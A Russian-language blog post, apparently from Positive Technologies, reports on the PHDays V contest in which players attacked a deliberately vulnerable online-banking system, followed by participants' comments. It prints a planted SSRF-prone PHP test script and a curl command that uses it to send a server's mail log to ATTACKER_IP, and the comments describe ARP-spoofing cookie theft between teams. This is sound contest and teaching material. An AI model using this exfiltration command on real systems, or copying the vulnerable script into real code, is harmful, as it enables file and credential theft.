Как на PHDays V взламывали систему ДБО



    В рамках состоявшегося в Москве 26 и 27 мая форума по информационной безопасности Positive Hack Days V прошел традиционный конкурс по анализу защищенности систем ДБО «Большой ку$h». Соревнование проходило в два этапа: сначала участникам были предоставлены копии виртуальных машин, содержащие уязвимые веб-сервисы ДБО, аналогичные реальным системам. На втором этапе за один час участники должны были воспользоваться проблемами безопасности, обнаруженными при анализе образа системы ДБО, и перевести деньги из банка на свой счет.

    В этом году отдельные конкурсы стали частью CTF (подробнее в нашей статье на Хабрахабре), и, наряду с гостями форума, участвовать в соревнованиях могли CTF-команды. Общее число участников конкурса составило порядка 30 человек, а призовой фонд в этом году увеличился до 40 тысяч рублей (в прошлом году можно было «украсть» 20 тысяч).



    Технические подробности


    Специально для конкурса «Большой ку$h» была разработана система ДБО PHDays iBank, содержащая уязвимости, которые встречаются в реальных банковских системах. В этот раз система была разделена на две части — frontend и backend, предоставляющий простейший RESTful API. Поэтому участникам было необходимо ознакомиться еще и с протоколом взаимодействия частей ДБО.

    Как правило, в системах ДБО присутствуют не «топорные» ошибки безопасности, позволяющие провести прямую атаку с внедрением или исполнением зловредного кода, а логические уязвимости (слабые проверки, приводящие к утечке важных данных). Именно на них сделан акцент в конкурсной системе ДБО.

    В PHDays iBank было заложено 7 комбинаций уязвимостей, на каждую комбинацию приходилось по 10 банковских счетов виртуальных пользователей, на которых хранились деньги (чем сложнее уязвимость, тем больше денег на счете).

    Участники могли проводить следующие атаки:

    • брутфорс по спискам самых популярных паролей, доступных в Сети;
    • взлом аккаунтов с подключенной двухфакторной авторизацией (обход проверок);
    • эксплуатация уязвимостей в алгоритмах сброса паролей;
    • взаимодействие с тестовым сценарием, использовавшимся для контроля работоспособности API backend (обход проверок доступа, чтение произвольных файлов);
    • обход защиты механизма отложенных платежей (данная атака могла быть использована и для похищения денег со счетов других конкурсантов).

    Несколько уязвимостей, заложенных в систему


    Тестовый сценарий содержал следующий код:

    <?php
    
    if ($_SERVER['HTTP_HOST'] != 'ibank.dev') {
        exit;
    }
    
    if (empty($_GET['url'])) {
        exit;
    }
    
    $parts = parse_url($_GET['url']);
    $port = empty($parts['port']) ? '' : ':' . $parts['port'];
    $url = "http://{$parts['host']}$port/status";
    
    $ch = curl_init();
    
    curl_setopt_array($ch, [
    //    CURLOPT_URL            => $_GET['url'],
        CURLOPT_URL            => $url,
        CURLOPT_HEADER         => false,
        CURLOPT_RETURNTRANSFER => true,
    ]);
    
    if (!empty($_GET['params'])) {
        curl_setopt_array($ch, [
            CURLOPT_POST       => true,
            CURLOPT_POSTFIELDS => $_GET['params']
        ]);
    }
    
    var_dump(curl_exec($ch));
    
    curl_close($ch);
    


    Проверку имени хоста можно обойти. Зная про возможность передачи файлов и используя символ @ в значении параметра, можно провести следующую атаку:

    curl -H 'Host: ibank.dev' 'http://SERVER_IP/api_test.php?url=http://ATTACKER_IP/&params\[a\]=@ /var/www/frontend/data/logs/mail.log'

    Получив содержимое лог-файла отправленных сообщений, участник мог найти в них пароли к учетным записям, которые использовали систему восстановления пароля.

    Для обхода двухфакторной аутентификации использовалась уязвимость, о которой не так давно писали на Хабре. Во время конкурса выяснилось, что не все участники были с ней знакомы, и поэтому работали по старинке, перебирая возможные значения.



    Ход сражения


    Участники могли не только атаковать систему ДБО, чтобы вывести средства из банка, но и атаковать счета друг друга, уводя с них деньги. Именно по этому пути пошли члены команды More Smoked Leet Chicken, которые выиграли соревнование. В итоге победителям удалось заработать более 15 тысяч рублей.

    Стас Поволоцкий, ставший вторым, смог украсть из конкурсного банка более 3200 рублей.

    Интересный момент: команда RDot, занявшая третье место, сумела найти и проэксплуатировать больше всех уязвимостей, однако ей не удалось защитить украденные деньги, которые были похищены с их счета командой More Smoked Leet Chicken.

    Финальная турнирная таблица:



    Поздравляем победителей!
    • +16
    • 10,4k
    • 9
    Positive Technologies 337,00
    Компания
    Поделиться публикацией
    Комментарии 9
      +1
      «Интересный момент: команда RDot, занявшая третье место, сумела найти и проэксплуатировать больше всех уязвимостей, однако ей не удалось защитить украденные деньги, которые были похищены с их счета командой More Smoked Leet Chicken.»

      Интересно было бы увидеть комментарии команды RDot по этому поводу.
        +5
        Собственно, предполагаемые уязвимости в самом сервисе эксплуатировала по сути только команда RDot в моём лице =)
        А у неё деньги были похищены при помощи банального ARP-спуфинга, т.е. атаки на инфраструктуру, а не на само задание (систему ДБО).

        Как выяснилось, из-за большой нагрузки в результате многопоточных атак циска перешла в режим хаба, и спуфинг стал возможным. Я не предполагал такой вариант, и возможности провести XSS не было, поэтому и не защищал свои куки, а SSL на веб-сервере не было.

        Единственная атака, которую мы не успели осилить за ночь, — это «взаимодействие с тестовым сценарием, использовавшимся для контроля работоспособности API backend (обход проверок доступа, чтение произвольных файлов)».
          +1
          Спасибо за подробное пояснение!
            +2
            На самом деле уязвимости в самом сервисе эксплуатировали и другие участники (как минимум те, кто смог залогиниться, обойдя двухфакторную авторизацию).
            Мы, например, юзали «обход защиты механизма отложенных платежей». И никакого ARP-спуфинга.
            У меня только один вопрос к RDot: почему вы не вернули украденное у вас себе обратно (с помощью «обхода защиты механизма отложенных платежей»)?
              +3
              Да, но у ботов вроде бы никто больше не стянул деньги %) Про вас MSLC почему-то говорили, что вы тоже заспуфили.
              Ну, значит, были ещё те, кто расковырял саму задачу =)

              Вернуть обратно не получилось, наверное, из-за DoS'а. ARP-спуфинг добавил нестабильности, и половина пакетов просто не долетала. Возможно, иногда частично возвращались какие-то суммы, но их снова переводили назад руками.
              Поскольку во время соревнования MSLC сказали, что используют SSRF, я думал, что бесполезно что-либо предпринимать и даже не выходил из аккаунта и не делал целевые атаки по айдишнику.
                +1
                Я уже говорил на PhDays — печаль, что получилось немного не fair play ;)
                Сори, но мы не были уверены, что доберем нужное количество очков в других конкурсах, поэтому использовали все имеющиеся возможности. Ломали не ради денег, как ты сам понимаешь.
          +2
          Спасибо ptsecurity за интересный конкурс!

          Что понравилось:
          — Архитектура системы ДБО с фронтэндом и бэкэндом, чистенький и понятный PHP-код.
          — То, что виртуалку с ДБО дали всего за день до конкурса (у всех было примерно одинаковое время на поиск уязвимостей). В прошлый раз виртуалка была доступна для скачивания за неделю, и кто-то всю неделю спокойно исследовал, а кто-то в ночь перед конкурсом.

          Чего не хватало в конкурсе:
          — Защиты от ARP-спуфинга (может в следующий раз настроить на свиче привязку по MAC'у или настроить доступ к серверу по HTTPS ну или предупредить, что спуфинг разрешён)
          — Защиты от DOSа на сервере (ограничить бы количество запросов в секунду от каждого участника)

          С удовольствием поучаствую в конкурсе и в следующем году, если всё-таки решите его устраивать.
            +1
            Не увидел в статье информации о произошедшем в рамках конкурса инциденте и дублировании очков.

            «Большой ку$h» – традиционный для CTF конкурс. Взлом системы ДБО в ограниченное время с реальным денежным призом, это очень круто, но… Давайте по порядку. Есть конкурс, есть правила, есть победитель. Заранее анонсируют максимальное количество очков за конкурс, заранее всем объясняют, как именно очки будут распределены по итогам конкурса. Как так выходит, что в итоге одно и то же количество очков за победу получают две команды? Одна команда всю ночь готовится к конкурсу, анализирует систему, пишет эксплоиты и, как результат, успешно набирает баллы в конкурсе, а другая команда в итоге забирает себе победу и почти все очки с помощью сетевой атаки. Как бы ОК, все в порядке вещей, это хакерские соревнования, и их смысл в проведении кибер-атак. Но прежде всего, это соревнования, которые проводятся по определенным правилам. Согласно правилам, атаки на сетевом уровне (также как и атаки на других участников) или запрещены, или разрешены. На основании данного критерия по итогам конкурса выбирается победитель в условиях той ситуации, которая произошла в этом году. Почему в итоге всем наплевать на правила?

            Также не могу не прокомментировать вот это:
            В этом году отдельные конкурсы стали частью CTF (подробнее в нашей статье на Хабрахабре), и, наряду с гостями форума, участвовать в соревнованиях могли CTF-команды.

            На PHD есть командные соревнования CTF, в которых учитывается суммарный рейтинг по очкам, набранным в разных категориях (в этом году – в разных конкурсах). Одновременно с этим, все конкурсы сами по себе являются доступными для всех посетителей форума, и для каждого из конкурсов есть свой отдельный рейтинг. Причем в одних конкурсах участников CTF удаляют из общего рейтинга, а в других – нет. Что особенно неприятно, удаляют уже во время соревнований, без предупреждения ДО их начала. В итоге выходит, что победители в «Leave ATM Alone» или в «Большой ку$h» получают награды и за CTF и еще отдельно за общие конкурсы, а победители «Конкурентной Разведки», например, за общий конкурс ничего не получают. Потому что лидера в «Конкурентной Разведке» выкинули из общего рейтинга из-за того, он являлся участником одной из CTF-команд. Что за двойные стандарты? Или для CTF-ников нет ограничений, или они должны быть одинаковыми для всех конкурсов, имхо. В крайнем случае, если какой-то из конкурсов особенный, нужно заранее предупредить все команды, что в общем рейтинге они не могут ни на что претендовать, но никоим образом не выкидывать лидера рейтинга в том или ином конкурсе уже во время его проведения.
              0
              В правилах в этом году действительно не было запретов на проведение атак на сетевом уровне, поскольку мы всегда решали эту проблему технически, а не организационно. В этом году появились накладки с рейтом в порт секурити – наша вина. Соответственно, ваша логика корректна – в правилах сетевые атаки не запрещены и выиграли участники с наибольшим количеством денег на счету.

              Тут еще вот какой момент, финал конкурса проходит очень динамично, и по его ходу невозможно понять, как тот или иной участник добывает деньги — крадет их из банка или у других конкурсантов (и если так, то каким образом). В итоге подробности того, как именно победители смогли добиться такого результата стали известны уже после награждения, когда пересматривать результаты несколько поздновато.

              Да и это, как вы отметили, все-таки хакерский конкурс, если кто-то проявил смекалку, то можно его только похвалить. Оборудование изначально было настроено так, чтобы не позволять проведение таких атак, и после конкурса ее не удалось воспроизвести, но во время финала это получилось (выше как раз сказано почему это стало возможным). В следующем году мы постараемся предусмотреть подобные ситуации еще и в правилах.

              Что касается «двойных» стандартов в отношении участников CTF, то изначально, во всех конкурсах, помимо «Большого куша», рейтинг посетителей и команд был разным, т.к. место которое мог занять посетитель сразу превращалось в количество команд участвующих в данном конкурсе + 1 (это по нашему опыту оценка скиллов). Согласитесь, не очень хороший стимул для посетителей. Концепция изменилась в самом конце дня для конкурсов где фактически кроме команд или их участников некого было награждать. В Конкурентной разведке, о которой вы говорите, было очень много других участников. Уверяем вас, общение между организаторами конкурсов и участником CTF команды было спокойным и корректным: никто никого не выкидывал.

            Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

            Самое читаемое